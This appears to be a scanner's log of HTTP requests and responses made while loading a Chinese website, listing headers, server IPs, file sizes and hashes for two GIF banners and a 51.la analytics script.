Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 692009
Last-Modified: Tue, 29 Mar 2022 20:46:52 GMT
Connection: keep-alive
ETag: "6243703c-a8f29"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1000 x 200\012- data
Size:   692009
Md5:    a2334b349e43e032cca680ccb8cfb0f7
Sha1:   a736e42c6842d9f4474a95892db9daa78f8d973e
Sha256: db6f2077910bd49164439c7d9560e9356e31497a444c8f8069195604c7addb7b
                                        
                                            GET /zhuye/img/betway999.gif HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: image/gif
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 786077
Last-Modified: Tue, 29 Mar 2022 20:47:04 GMT
Connection: keep-alive
ETag: "62437048-bfe9d"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1000 x 300\012- data
Size:   786077
Md5:    146e097dc6ac97692c6ba585b1880fd9
Sha1:   489ce49a513b069516081ab9fdce52347d6a158e
Sha256: dc17b35522420bdee29ba5d29f6f5d6117c4ce984a2917d8d8d2e9f528b08dfe
                                        
                                            GET /20655415.js HTTP/1.1 
Host: js.users.51.la
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             103.143.19.103
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
                                            
Server: CloudWAF
Date: Thu, 23 Mar 2023 04:07:24 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: HWWAFSESID=948326e856b1665ca37; path=/ HWWAFSESTIME=1679544439971; path=/
Cache-Control: max-age=360000
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (4898)
Size:   2309
Md5:    9b03aee65d17c20df699aee40c4b3921
Sha1:   6387fd8f85f4837343bdbc8b3898c12327050450
Sha256: 0093fe02f1e7eb39252d5338d32771b72f1a015d8f4baca6c11b1136278e6566